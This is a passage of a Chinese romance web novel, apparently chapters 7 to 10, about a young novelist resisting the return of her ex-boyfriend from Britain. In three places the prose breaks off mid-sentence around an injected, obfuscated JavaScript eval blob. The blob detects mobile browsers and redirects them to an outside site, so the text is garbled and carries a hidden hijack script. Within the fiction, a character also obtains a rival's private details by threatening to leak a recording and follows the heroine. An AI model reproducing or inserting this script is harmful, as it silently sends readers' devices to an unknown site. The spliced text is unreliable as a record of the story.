刚刚堵在面前的SUV已经倒好车,车上的人都已经开门下车,余晴却迈不开脚步。 她在想自己到底应该要以什么样的态度应对庾礼才摘不出错误。 大家都以为她在人际关系里游刃有余,其实很多时候只是因为她运气好,运气好到她没怎么遇见过复杂的人,因此余晴的真诚可以处理她绝大多数的交际问题。 她只能选择报以同样的真诚给这位多年未见的前男友。 余晴终于抬头看他:“这顿饭是你想和我吃的,对吗?” 庾礼默认。 “你想干什么?”余晴的语气很平静,“你是想和我复合吗?” 庾礼和她对视着,回忆起曾经高中时期她们的多次四目相对。 她永远坦荡地看向他,眼里蕴含欢喜与爱意。 除了分手那一天。 他记得那天余晴穿的裙子是新买的,她在店里试完还给他拍了照片问好不好看,庾礼回复她好看特别适合你,她说那我就买啦。 但他没想到他第一次看到她穿那条裙子在他面前也同样会是最后一次。 分手那天,她们坐在咖啡厅里,她用受伤的眼神看他最后一眼,送上她最后一句祝福:“祝你学业有成,祝你在英国过得开心。” 学业有成,他做到了;过得开心,却从始至终都是假命题。 “是。” 庾礼学着她的坦荡:“我想跟你在一起。” 余晴面上没有任何异样,她说:“没可能。” 她根本找不到一个合理的相处方式,因为她根本不想和前男友再次相处。 余晴掏出手机给任祺打电话,那边接得很快,咋咋呼呼地开口:“姐你到哪啦?我这取号还有两桌就到咱们了。” 她到嘴边的“我不吃了”又给咽了回去。 任祺早早就来取号排队了,她早就知道今天会遇到前男友却还是答应下来,怎么能在这个时候爽约。 余晴只能回答他:“车库,马上上去。” 任祺在店门口的凳子上被香得不行,“嗯嗯”几声:“没事没事,姐你慢慢来,到了我先进去就行。” 她挂了电话,握着手机的手垂到身侧,又抬头看向庾礼。 嘴巴动了下,她却的确不知道应该要说些什么。 庾礼性格冷冷淡淡,入校的时候因为时间点和长相的原因掀起小幅度的波澜。盛蓓蓓硬拖着李落陪着去他班门口看他。 回来的时候盛蓓蓓笑着留下四字评价“的确挺帅”,李落却翻出一个超大白眼说:“一看就是个爱装的。” 两个好友给出截然相反的两种态度,余晴稍微有些好奇,但她那时还忙着构思自己的小说,听一耳朵也就过去了。 庾礼真正引起她注意,是高一下学期的期中考成绩单上,她排第二,庾礼排第一。 那是第一次,也是最后一次,余晴没考过他。 看着面前的女生嘴巴张了又闭,庾礼露出一个笑容。 余晴什么时候会有这种不善表达的时刻了?看来他还是有他的特殊在。 他心情愉悦地开口:“听说你昨天回沥阳了,叔叔阿姨都还好吗?” “都好。” 看她情绪还可以,庾礼继续问:“那你还好吗?” 八年,她们分手八年,中间度过了七个农历新年和七个余晴的生日,他在英国看着手机日历,总会在心里问出一句“你今天好吗?” “我一切都好。”余晴看向他的眼睛,一字一句地补充。 “没有你的这些年,我一直都非常好。” 她没有逞强,没有说谎,她们都心知肚明。 8. 撒谎 人均三百块的烤肉真不是大排档能比的。 余晴吃完了第三碗土豆泥,又想招呼服务生再来一份的时候又被两只手同时挡了下来。 任祺想说的话连忙咽进肚子里,把发言机会让给学长。 庾礼把烤好的肉夹到她碗里:“别吃土豆泥了,吃点肉。” 余晴的饮食习惯极其异常。 她是碳水大户。出去吃自助她要先吃炒面炒饭,吃烧烤她要吃烤馒头烤面包片,现在吃烤肉她狂吃土豆泥。 碳水摄入完她还发饭晕,李落最烦和她一块出门吃大餐,觉得余晴这个人根本就不配吃好东西,就应该一辈子喝粥。 余晴没搭理他,再次抬手,看向在给隔壁桌烤肉的服务生,请求道:“请问可以再给我上一份土豆泥吗?” 土豆泥是无限供应,服务生很快又给她上了两份。 庾礼看着她,最终还是什么都没说。 他在车库里已经把话摊开讲,四舍五入他现在是余晴的追求者。追求者要有自己的人设,管太多是男朋友身份才能做的事。 任祺看着余晴埋头吃土豆泥,悄咪咪地凑到庾礼耳边问:“学长,你们刚刚在底下说什么了?” 他承认自己看到余晴和庾礼一起走向他的时候他是心虚的。 庾礼在中午问他晚上要不要去吃烤肉,他请客,要求是把余晴给喊来。 区区三百块钱怎么能让任祺折腰,但庾礼用别的东西来和他交换,任祺最终妥协了。 毕竟庾礼只是让他喊来而已,余晴到底来不来,决定权不在他身上。 可余晴最终还是来了,任祺有些没想通,第一次想认同纪川序的观点。 难道和平分手真的可以在重逢后再次和平共处吗? 余晴容忍了一顿饭,居然还有第二顿,再这样吃吃吃吃下去,他真怀疑破镜重圆就在不远的将来。 庾礼又给余晴夹了几块肉过去,面不改色地说实话:“我说我要和她在一起。” 在一起。不是重新在一起,只是在一起。 任祺瞳孔地震,看向对面的余晴。 余晴抬头,点头,同样镇定:“我拒绝了。” 任祺真想掀桌大喊一句你们俩是不是神经病啊! 但转念一想好像又挺正常的,当初在一中,校园情侣也是少见多怪,哪对都黏黏糊糊,只有她们俩在学校里一切如常,待在一起都在各自做题。 只有当事人知道,她们也有很黏糊的时候,写在纷飞的草稿纸上,写在她专属的小杂志里。 写作,是余晴曾经隐秘的爱好,是她表达爱意的特殊路径。 任祺懒得再说什么,看向空空如也的烤盘,又放上去几块肉,殷勤地对着庾礼笑:“学长,你烤肉技术真不错。” 庾礼“嗯”了一声,拿着夹子把肉铺满烤盘,回答他:“在国外打工练的。” 吃下第一块肉的余晴顿住了自己咀嚼的动作。 任祺也很意外这个回答,他“啊”了一声,看了眼余晴,没看到她的脸色,最终选择满足自己的好奇心:“学长在国外还要打工啊?” 庾礼家庭背景极其神秘复杂,没人知道其中具体的事,但都知道绝对不是一般的好。 “不打工喝西北风。” 他看了眼叠起来的土豆泥碗,又喊服务生上了两份。 余晴却没有再吃土豆泥了。 她吃了几块肉也到了八分饱,放下筷子就对着烤盘发呆,对面两个人都知道她开始发饭晕了。 任祺喝着饮料,瞥到她亮起的手机屏幕,提醒她:“晴姐,你手机响了。” 没有备注的陌生号码,属地就是沥州,余晴接起来:“喂,你好?” 对面两个人都听不到那头的说话内容,只能观察余晴的表情和话语来判断。 她始终平静,在那头说完一长串后点头:“我一会看一下微信通过一下,有什么问题你微信问我就可以了。” “没事,再见。” 她挂掉电话,点进微信,通过了好友申请。 庾礼转头看向任祺,后者很快反应过来,赶紧问:“晴姐,谁的电话啊?” “老余朋友的小孩加我。”她说,“我没看到好友申请,对方就打电话来问我了。” 任祺皱起眉头:“这么着急啊。” 余晴没回答这句话,很快又把手机放下,但微信消息一条接一条地弹出,让手机屏幕常亮着。 庾礼把肉翻个面,放下夹子,拿出自己的手机,在微信好友添加里输入余晴的手机号,发送了好友申请。 他放下手机,看向她:“我也加你了,你能不能通过一下?” 余晴恍若未闻,低头从烤盘里夹肉,又被庾礼拦住:“还没熟。” 她放下筷子,看向他:“没有和前男友成为微信好友的习惯。” 庾礼气笑了:“邱明轩你删了?” 余晴眯起眼睛:“你认识他?” 庾礼怎么可能不认识他,余晴这八年间唯一谈过的男朋友就是他。 余晴的大三暑期到来之前,他坐了十几个小时的航班回来,从一个机场到一个机场再到一个机场,想在国内时间的余晴生日当天看到她一眼。看是看到了,只不过是看到她和一个男生牵着手走在一起。 他给盛蓓蓓打了电话,问她:“余晴谈恋爱了是吗?” 盛蓓蓓在那头愣了一下后很快笑起来:“你又回国了啊?你见到她了吗?她现任男友很帅哦。” 庾礼沉默片刻,问她:“你对她这个男友也那样关心吗?” 盛蓓蓓笑不出来了,她说:“庾礼,你装什么?你以为累死累活赶回来见她一面自己就是深情种了?你算个屁,你跪在地上求余晴,她都不会回头看你。” 庾礼笑了:“我录音了,告诉我她现男友的信息,不然我把这段语音发给余晴。” 盛蓓蓓挂掉电话前留下最后一句祝福。 “我操/你爹操/你爷操/你所有男性祖宗,你死在英国都没人给你烧纸。” 他面不改色地收起手机,保持着不远不近的距离跟在余晴和那个男生身后,看着她们上了一辆网约车,庾礼很快也打了辆车跟着过去。 他看着她们牵手进了蛋糕店,去取了一个蛋糕,又去了一家餐厅,看来是给余晴过生日。 她会许什么愿望呢?她闭眼的时候脑中会想起她的十七岁和十八岁生日吗?会想起他吗?庾礼一直在想,想了两支烟的时间。 离开商场的时候,他收到了盛蓓蓓发来的消息。 余晴现任男友叫做邱明轩,就读于京州大学国际关系与政治学院的国际关系专业,是京州本地人,妈妈是主任医师,爸爸是部委干部。谈过两个女朋友,一个在高中时期,一个在大二时期。 他身高182cm,体重69kg,无不良嗜好,爱好看小说、打羽毛球。 盛蓓蓓发来的消息不多不少,覆盖了基本信息,也能让庾礼知道他和余晴为什么能够走在一起。 他很快又回到机场,盛蓓蓓在他起飞前最后发来一条消息。 她说:庾礼,余晴未来还会有别的男友,还有很多年的生日要过。 庾礼回复:把他所有社媒账号都发我。 他比谁都关心邱明轩,连他上外网这件事都不放过,后来他把对方在ig上拼命给素人美女点赞和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669904|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评论的截图以及他在微博上和前女友藕断丝连的记录都发给了盛蓓蓓,没说多的一个字。 两天后,他看到盛蓓蓓的朋友圈,是她和余晴的合照,两个人脸贴脸微笑,配文是:坦坦又是属于我的了^^ 余晴不会容忍恋爱关系中有任何不利的事发生。 她比谁都自爱,庾礼也比谁都了解恋爱在她人生中的排序,连前三都轮不到。 她命好得让人容易妒忌,却又真诚得让人无法讨厌。 庾礼知道要和她复合一定会是一件很困难的事。 很困难的事,他面对的也不止这一件。 回答余晴的问题,就算得上是一件困难的事。 “我听说的。”他半真半假地撒谎,“所以你删了他吗?” “没有。”余晴诚实地回答。 她们虽然不同专业,但是同在一个学院,课程也有不同程度的重合,余晴和对方仍然会有学业上不可避免的交流。 何况并不是留着联系方式就代表还有感情,有些感情,删光了联系方式也忘不掉。 “容得下一个前男友为什么容不下第二个?”庾礼看着她,激将她,“你心里还有我?不然为什么不通过?” 余晴不知道他在英国这几年到底经历了什么,怎么变得这么神经。庾礼以前从来不会说出这种话。 她想笑却真的笑不出来:“我不想再跟你有牵扯了,不行吗?” 庾礼把不要脸演绎到底:“不想跟我有牵扯却跟我一起吃了两次饭?” “前两天吃饭,是纪川序问了我三遍。”余晴认认真真地解释,“我不想给你一种我躲着你是因为我还惦记你的错觉,所以来了。毕竟你刚回国,我们也不是不认识的关系,接风就接风了。” “今天吃饭,不知道你用什么办法威胁的任祺,我想过来和你说清楚,我们从此一刀两断一干二净一别两宽,所以我也答应了。” 余晴冷静地看着他,竖起手里的两根筷子:“就这两次,不会再有了。” 余晴觉得他陌生,他同样也觉得余晴很陌生。 她和他还不相熟的时候,她见到谁都有好脸色。后来恋爱,她对他笑,永远那样开心,即便分手,她破碎的情绪也摆在面上。 他从来不知道她还能冷静到这个地步,能够冷静得说出这些伤人的事实和话语,毫不留情地戳穿他心里的所有幻想。 她不再喜欢他,对这个前任无爱无恨,所以能够接受和他坐在一起吃饭,所以能够果断地拒绝重新添加他的联系方式。 庾礼不想放弃:“你通过我的申请,我不会烦你。” 她按照他的思维方式给堵了回来:“你都不烦我了还有什么加好友的必要?” 庾礼哑口无言,任祺不敢出声。 这就是沥州一中的两个传奇吗,你来我往的过招,把破镜重圆的可能性搞得跟商讨数学最后一道大题的多种解法一样。 庾礼垂下眼睛,餐厅的灯光也映照出他心里的惨淡。 余晴回想起自己曾经写过的那些话,想起十七八岁的自己,还是不忍心把话说得太难听。 “庾礼,毕业那年我们分手,一切都说得好好的。”她看着他,知道他在听,“我祝福你学业有成,祝福你在英国过得开心,所有的一切都是真心的。” “我不知道你那些年到底经历了什么让你变成这样,但是你应该要往前看了。过去没什么值得留恋的。” 过去没什么值得留恋的。 她猛地刹住话语,好像被谁掐住了咽喉一样。 坦荡、坦诚、坦然。她有这个评价,是因为她向来不撒谎。 但她刚刚撒谎了。 9. 好友 微信最终没能加上,那个让庾礼倒背如流的11位数字,他也只敢置顶在手机联络簿里。 在余晴说完那些话后,再没有人开口,余晴很快就去处理手机里的消息。 任祺不敢多耽误,匆匆吃完后就让庾礼去结账,然后拉着余晴离开了餐厅,问她关于刚刚那个电话的事。 他知道庾礼一定和他一样,知道对方是个男生,并且感觉出对方的来意并不单纯。 但他又清楚余晴的家庭氛围,催婚这种事情根本不可能出现。 余晴两句话解释清楚:“说是要考公,想问问我考试的一些事。” 她们乘坐拥挤的直梯直达地下车库,余晴找着车,任祺跟在她身边,庾礼走在她们身后。 看到余晴停得歪七扭八的车,任祺抽了抽嘴角,还是没多说什么,只是挥手:“晴姐路上小心,拜拜。” 余晴坐进车里,降下车窗和他道别:“拜拜。” 这一次,她没再敷衍地和庾礼挥手,看也没看他一眼就踩着油门离开了这里。 任祺无奈地扭头看他:“学长,你这是何必呢?” 庾礼低头摁下车钥匙,拉开车门坐上驾驶座,却没马上开走,开了窗在静止的车里点上烟。 和余晴恋爱的时候他还不会抽烟,但上次余晴看到他抽烟却没有任何的意外。 她真的完全不好奇了吗? 任祺坐上副驾驶,对着内饰看了一圈,目光停在车内后视镜处挂着的一个娃娃。 一个晴天娃娃。 他收回目光,一言难尽地看向他:“学长,你真的还喜欢晴姐吗?” 庾礼吐着烟,轻轻点头。 任祺继续问:“如果你没在家里偶遇到她,你会去找她吗?” “会。”他说。 任祺不懂,所以任祺提问:“为什么是现在呢?不是七年前六年前五年前四年前三年前两年前一年前?” 他在委婉地提醒他,你们已经错过太多时间,如果早一点再早一点,或许就不是这个结局。 但庾礼知道,从她们分手那一刻开始,无论是之后的什么时节,都会是这个结局。 庾礼灭了烟,把四面窗户都降下来散味,眼神盯着方向盘,不经意地问:“余晴有没有说她为什么和我分手?” 任祺皱起眉头:“没说,但是难道不是因为你要出国这件事吗?” “李落和盛蓓蓓那边呢?” 任祺犹豫了片刻,回忆着那个夏天:“我就是去问了落姐,她这么和我说的。” 李落是个心里想什么嘴里就说什么的人,看来余晴对她也没全盘托出。 庾礼垂眸,不知道余晴隐瞒分手原因的动机到底是什么,她不是从来不隐瞒不说谎吗? 他想不出原因,越想越给自己立幻想,而他知道就算不是幻想也早就已经烟消云散。 过去值不值得留恋他不知道,但他知道过去的的确都已经过去。 他发动了车子,很快回了小区。 任祺跟着他一起上楼,略带勉强地问:“学长,你要在这里长住吗?要的话不是不行,但是得跟我们a房租啊。” 这套房子位于沥州市主城区的江心地带,这些年来房价水涨船高,租房价格也同步往上涨。同小区同面积的房子出租价格起码要6000往上,沈意琴租给任祺和纪川序的时候开价5000块,还赠剩余的车位费,可以说是实惠非常。 庾礼听完价格,问的问题却是:“房租是转给余晴吗?” 任祺点头:“对,我们在这住了一年了。之前半年是给沈姨,后来晴姐从京州回来,沈姨就让我们转给她。” 庾礼沉吟片刻,继续问:“因为她现在是无业游民?” 任祺不知道庾礼到底怎么做到在国外这么多年前却对前女友了如指掌的,但仍然觉得“无业游民”这四个字有失偏颇:“人家是全职作家啦。” 只是一毛钱都还没赚到而已。 回了家,纪川序在客厅抱着电脑加班,对着两手空空的他俩露出不满:“说好的外带呢?” 那样剑拔弩张的饭局谁还有心情打包。任祺耸了耸肩,坐到沙发上掏手机玩。 庾礼跟着坐下,又看向任祺:“你知道她在哪个平台写小说吗?” “不知道。”任祺抬头,“我问过晴姐,说可以支持一下,她说等她火的那天她遮也遮不住,到那个时候我就知道了。” 他停顿片刻,继续说:“不过落姐和蓓蓓姐应该知道。” 她们俩肯定知道,但是没有一个人会告诉他。 手机在庾礼手里又转起来,他出着主意:“你去跟她说你可以帮她画封面,让她把文章名字告诉你。” 任祺无语地看着他:“学长,这种事我上赶着那不证明我心怀不轨吗?如果是之前可能她还会说,但是现在你回来了,我在晴姐那里信用也下降了。” 他承认他是禁不住庾礼的诱惑,但是无论如何庾礼都是全责。 庾礼不再说话,低着头不知道又在想什么。 任祺最后劝他一句:“学长,真的,听晴姐那句劝吧。你们都分手八年了,应该向前看了。” 庾礼“哦”了一声,语气平平地丢下一句:“下个季度的房租我包了。” 任祺和纪川序猛地抬头,像饿了三天的狗闻到肉香一样。 “告诉你们晴姐,房租来找我要。”他丢下这句话,转身回了自己的小客房。 “我靠了。”纪川序张着嘴巴,“这也太...” 任祺:“卑鄙!” 纪川序:“贴心了。” 他们是前年12月份住进来的,那个时候交的第一个季度,所以的确很快就要再交一个季度的钱了。 任祺火速掏出手机给余晴发消息:晴姐,有大事,你到家了和我说,我给你打电话! 余晴到家才看到消息,进门又看到倒在沙发上刷手机的李落。 “格格吉祥。” “免礼平身。” 她一边换鞋一边给任祺拨电话,那边接得很快,叽里咕噜就把事情讲完了。 余晴皱着眉头坐到沙发上:“他真这么说的?” 李落抬眼看她。 任祺在那头点头如捣蒜:“是的啊,他说他要长住,以后房租他来交。” “我不同意。”余晴直接否了,“你跟他说你们俩住已经很拥挤了不行吗?怎么还答应他了?” 任祺喊冤:“我没答应啊,这不是来和你打报告了。” “晴姐。”纪川序从任祺手里抽过手机接到自己耳边,“他说三个人5000不好分,查了一下同小区其他房子的价格,主动加到6000。我和任祺都省钱了呢。” 就这点出息?余晴无语:“你俩a下来也就少500,你俩谁缺钱了?那不然这样,我给你们减,以后你俩4000块,a下来也是2000,行不行?” 纪川序还没开口,手机又被庾礼抽走,他对着对面说:“余晴,我现在无家可归,只能住这里。” “你少来。”余晴也懒得和他维持和平了,“就算你要住他们那里,他们同意也得问我这个房东同不同意。而且房租一直都是任祺转给我,你抢他的活干什么?” 还能干什么?还不是为了加上微信。 余晴自己也知道他的目的,最后让步:“我加你的微信,你别和他俩挤一块住,回你自己家。” “余晴。”庾礼握着任祺的手机,平淡地告诉她,“我没家。” 余晴愣了一下,很快挂掉了电话。 他没家?他怎么可能没家?他家庭多幸福多显赫啊?他以为她很好骗吗?她又不是没在官方的海外华人团聚连线视频那里看到过他们一家三口其乐融融的场面。 李落看着余晴的脸,问:“你跟谁打电话呢?庾礼?” 余晴拿过桌面上的奶茶,猛吸两口后把晚上的事和刚刚电话的内容全盘托出。 李落冷笑:“他说复合就复合?当年他说分手就分手?他以为他是谁啊?” 余晴愣了一下,纠正她:“当年我提的分手。” “什么?”李落觉得自己的记忆出现了偏差,“不是他提的吗?” “我提的啊,我...”余晴猛地想起自己对李落的隐瞒,硬着头皮继续说,“我不能接受他突然要去英国这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669905|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件事,也不能接受异国恋,所以就提分手了。” 李落皱起眉头,也开始回忆当年的事。 但她的确不太记得这些细枝末节了,满脑子都是“死装男终于滚了”“余晴眼睛终于好了”这种想法。 “哦好吧。”她很快接受了余晴对她记忆的篡改,“分手都是你提的!他有什么脸和你说复合!” 余晴嘴角抽动两下,忍不住笑起来。 反正在李落这里,横竖都是她对,庾礼做什么都是错的。 余晴实在不知道他到底抽什么疯,但不想连累任祺和纪川序,他俩平常上班已经很辛苦,回家还要对付这个神经病,余晴可以让步。 她通过了庾礼的好友申请,发过去一句:你什么时候搬? 庾礼回复得也快:我还没找到房子,再缓几天,这几天我会给他们钱的。 压根不是钱不钱的问题,但余晴的注意力已经被第一句话带偏了。 庾礼家就在沥州,怎么可能没房子? 但她懒得好奇更不会多问,没再回复对面的话。 切出这个对话框,余晴的手往下滑,看到被自己免打扰的那个对话框还是时不时地在发消息,她有些无奈地点进去,随手选了一句话回复,又很快退出来。 “我爸有个朋友的儿子来加我。”余晴看向李落,倾诉着这个不大不小的烦恼,“这小孩把我当树洞了,什么都说,加了微信才一个小时吧,感觉发了一万条消息了。” 李落把窝在沙发尾的狗狗抱过来,问她:“加你干什么啊?” “问我考公的事。”余晴停顿,“我爸是这么说的,但是目前为止他一句考公的事都没问过。” 男生名字叫林章续,一上来就问余晴的兴趣爱好,要不是知道余永义不会骗人,她真怀疑其实是来相亲的了。 余晴把他消息免打扰,决定以后固定时间再进去看看消息,选择性回复。 李落“呃”了一声:“帅吗?” 余晴莫名其妙地看她一眼:“这关我什么事?” “你可以谈个恋爱气走你前任啊。”李落脑子里全是馊主意,“而且你现在都写言情小说了,谈个恋爱会不会让你下笔如有神?” 余晴摇头,坚决否决:“我不需要气走我前任,说了不会复合就是不会复合。而且谁说写言情小说就要恋爱了,那写po的咋办?” 说到po,李落躺在沙发上,双臂大张:“好久没开荤了。” 余晴从茶几抽屉里掏出小玩具丢给她:“用这个吧,还没拆呢。” 李落笑出声:“我怎么没见过?盛蓓蓓送的?” 余晴点头:“你俩一个赛一个爱吃肉。” 但李落是唯一一个真的尝过真肉的。 她换了个姿势,离余晴更近了点,回忆着多年前的八卦事:“你还记不记得,你十八岁生日那天,盛蓓蓓给你送了什么啊?” 永生难忘。余晴眼睛里只写了这四个字。 她的十八岁生日正好是高考结束后一个月,那个时候高考分数已经出了,大家都过得挺开心的,带着对未来的憧憬。 生日当天是李落、盛蓓蓓和庾礼一起陪着她过的。 庾礼给她送了新款的手机,李落送了她几件大牌彩妆,盛蓓蓓送的是一个小玩具,国外进口,还有一盒安全套。 她在她们三个的注视下把这两个东西从袋子里拿出来,推到余晴面前,郑重地告诉她:“坦坦,请你享受生命中的美好。如果你用我的礼物,注意清洁;如果你要用庾礼,注意安全。当然如果庾礼不好用也没关系,我的礼物一定会很好用。” 她满意地看到庾礼黑了脸,却敢怒不敢言。 那个时候的余晴也有些呆愣,但仍然笑着收下了礼物。 “你用了吗?”李落笑着问她,“盛蓓蓓给你选的那个,好用吗?” 余晴点头:“用了,好用。” 盛蓓蓓早就问过她这个问题,也是因为知道余晴用过了,才能在后面那么多年一直孜孜不倦地给其他两人送这种小玩具。 她的名言时刻被余晴和李落谨记在心——“做女的不容易,但有些快乐却很容易。” 10. 评论 李落带着小玩具回了房间,余晴也回自己浴室去洗澡,洗掉头发上的烤肉味。 带着半干的头发坐到电脑桌前,余晴打开文档,准备继续自己下午未完的码字工作。 她的第一本书并不是言情小说,而是无cp分类的女主成长文。在架空的世界里,描写了一个孤女对抗所谓的扫把星命运的故事。 这个故事的构想出现于余晴还在上班的时候,她在办公室里听到同事们对自己的议论时,她脑中猛然蹦出这么一个形象。外人眼中的余晴聪明有能力,但工作后更多的评价是“命好”。 命要多好才算好?多不好才算坏呢?余晴思考过这个问题,回忆起自己的成长经历后下意识地认同了大家说她“命好”的评价,于是她想写一个世俗意义上命不好的人,在世界的推动下不得不奔跑的故事。 于是她离职,在订好回沥州机票的那个晚上打开了文档开启了这个故事。 余晴成功签约的时候已经过了平台的新手保护期,0曝光冷题材让她这本书从开始写到故事结束都只有三个活人读者。 写了一本顺自己心意的书后余晴感到心满意足,终于打算随大流写点大家爱看的,于是余晴的第二本就是言情小说,也就是她现在正在更新的这一本。 一本没有热点题材的短篇言情小说,女男主的认识是偶然,没有暗恋没有先婚后爱,往上数三代都是陌生人。两个陌生的成年人相爱,有争吵但没有分开的故事。 这个故事余晴写得磕磕绊绊。 她已经很久没有恋爱过,很多时候为了情节不得不回忆自己曾经的恋爱经历。和邱明轩的那段恋爱经历近一点,但也没有什么好回忆的。恋爱后余晴对他的亲近有天然的抗拒,没有亲吻很少拥抱只能牵手。后来直到盛蓓蓓给他看对方不安分的证据时才发现所有没由来的抗拒或许都是自己的第六感。 而回想起庾礼的时候,余晴的心绪总是飘到英国。 大二下学期,盛蓓蓓一直在群里说暑假要去旅游的事情。李落暑期定好了实习不能陪同,盛蓓蓓就盯上了余晴,和她说去欧洲玩。 南欧东欧西欧北欧各有风情,盛蓓蓓却只想在一个国家痛痛快快地玩个遍,她提名了好几个国家让余晴选,独独没有提英国。 余晴想,英国天气总是多变,盛蓓蓓喜欢晴天,不想去也正常,她也没提。 最后两个人敲定了意大利,盛蓓蓓帮她解决签证事宜,让她只需要带上开心就够了。 落地罗马的那天,机场外晴空万里,余晴下意识地在想伦敦今天会不会是一样的晴天呢? 这样的下意识,她用了很长的时候才慢慢戒掉。 但庾礼却又出现了。 手机屏幕在右手边亮起,余晴看过去,是庾礼发来的微信消息,她不用解锁就能看到消息内容。 庾礼:晚上好,想问问你有没有稍微靠谱的租房中介的联系方式? 余晴对着这句话皱起眉头,庾礼居然真的要在沥州租房子?她们恋爱期间庾礼就回过三个不同的住处。 不是她不帮,而是她在沥州的确没有租房的需求,只能回复:我没有,你可以问问任祺和纪川序。 庾礼秒回:他俩让我来问你的。 他们三个在她家里打得一手好配合,余晴没回他,去找任祺算账,直接把和庾礼的聊天记录甩给他。 任祺回了个问号过来:?这是妥妥的栽赃诬陷啊! 余晴懒得理他,任祺继续顺毛:晴姐,不过学长真的要搬出去了,我看他今晚一直在找房子呢。 余晴回他:你再帮着他说话试试看,我让你妈下周七天给你排八个相亲。 打蛇打七寸,相亲就是任祺的七寸。他在那头哀嚎,给余晴发语音求饶。 “晴姐我真的错了,我没帮他说话,只是学长帮了我点忙,我有来有往嘛。” “我是绝对站在你这里的,你不和他复合我举双手双脚支持。” “晴姐,他今天还跟我打探你写小说的事呢。这个我也不知道所以他没从我这里问到,不过你放心,就算我知道我也不会告诉他的。” “还有一件事,他今天突然问我知不知道你们当初分手的原因,我说就是因为他要出国啊,他还问我落姐那边是怎么说的,当初就是落姐告诉我的嘛。” 余晴分手后先去找了李落,隔天把这件事告诉了盛蓓蓓和父母,再隔天余晴就带着行李箱和她俩一块出去玩了。 盛蓓蓓在高铁上发了一条朋友圈暗示余晴已恢复单身,李落给她点赞加深了这件事的真实性。任祺看到后就去问了李落,李落正愁找不到人骂庾礼呢,就对着任祺劈里啪啦一顿输出。 余晴对任祺这个墙头草实在有些无语,但也知道对方撑死了也只能喊她出去吃吃饭,多的事他不敢也不能干。 庾礼要从他那里下手,还真是找错人了。 任祺的投诚语音发了好几条,余晴全都听完了,最后只回了一个:知道了。 她切出对话框回到微信主页面,看到庾礼刚刚发来的那句话还躺在那里。她没有回复,他也没有再发消息。 八年来,她强迫自己不要去关心庾礼的事。分手后她在李落的监督下删光了庾礼的联系方式,从源头直接切断。 共友对此都保持沉默,余晴对他竟然真的做到了一无所知。 她唯一了解的信息还是分手当天得知他出国是去学的外交政治。他们家要庾礼成为合格的庾家人,就必须走每个庾家人都走的路——外交。 他现在莫名其妙地回国,直接赖在沥州不走,还说自己没有家,让余晴不得不怀疑他是不是和家里闹了点什么矛盾。那他回来能做什么呢?像所有普通小孩一样找普通工作吗?余晴想到这里就觉得不可能。 但她又不想去好奇庾礼的事。好奇就代表payattention,对庾礼,她消费不起。 她直接把手机设置成免打扰,把注意力集中在电脑屏幕的文档中,认真写文。 终于又码完一章,余晴登上后台去放存稿,设置好定时发布,又去看了眼自己的收藏和评论,却不料真有意外之喜。 一个id叫做蓝色雨的账号给她正在更新的这本小说评论了很长的一段话。 Ta说:作者,女主和男主的恋情真的会这样平平淡淡下去吗?她们是因缘邂逅没错,但是女主和男主在设定上是有一些矛盾的。女主家境普通事业却经营得蒸蒸日上,男主家境优越事业却普普通通,这个设定其实并不互补,只会为将来埋雷。一个上进的女主和不上进的男主要怎么长久地在一起呢?她们会在一起也迟早会分开的,这本书还会是he吗? 余晴反反复复看了三遍这段评论,点开回复,却不知道应该要写点什么。 她呆愣的时间太久,久到李落端着蓝莓进来,坐到她身边的时候她都没反应过来。 “怎么了?”李落把碗放到她手边,“多吃点蓝莓,你看你腿上青一块紫一块,半夜一醒就撞。” 余晴还是没说话,李落看她一眼,又凑近点去看她的电脑屏幕。 她看完后又坐回床边,抿了抿唇,低头思考事情,在想好后又抬起头看她。 “格格,我有事要坦白。” 余晴回神,转头看她。 “今天拍摄间隙,我看到摄影助理在看小说。是个很可爱很开朗的女生,我们就聊了几句,她说她喜欢看小说,我就把你推荐给她了。” 说到这里,李落心虚抿唇,看余晴在吃蓝莓,又继续说:“我没说你是我朋友,我只说这是我阴差阳错找到的一个小作者,感觉她写得还行...她说那她回去看看。” 余晴点头:“她叫什么名字啊?” “温忧雨。”李落说,“温度的温,忧郁的忧,下雨的雨。” 温忧雨。蓝色雨。余晴露出一个笑容:“她没骗你,她说回去看就真的看了。” 李落也笑:“你开心吗?” “谢谢落落。”余晴认真地看她,“谢谢你这样为我宣传。我会好好写的,免得人家听了你的推荐之后去看发现很难看回头去骂你。” 李落还是头回干这事,没想到就得到了正向的反馈。一颗小小的种子就这样种在她的心底,在蓝色雨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669906|173105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次浇灌下慢慢发芽。 “谁骂你我就骂回去。”李落说。 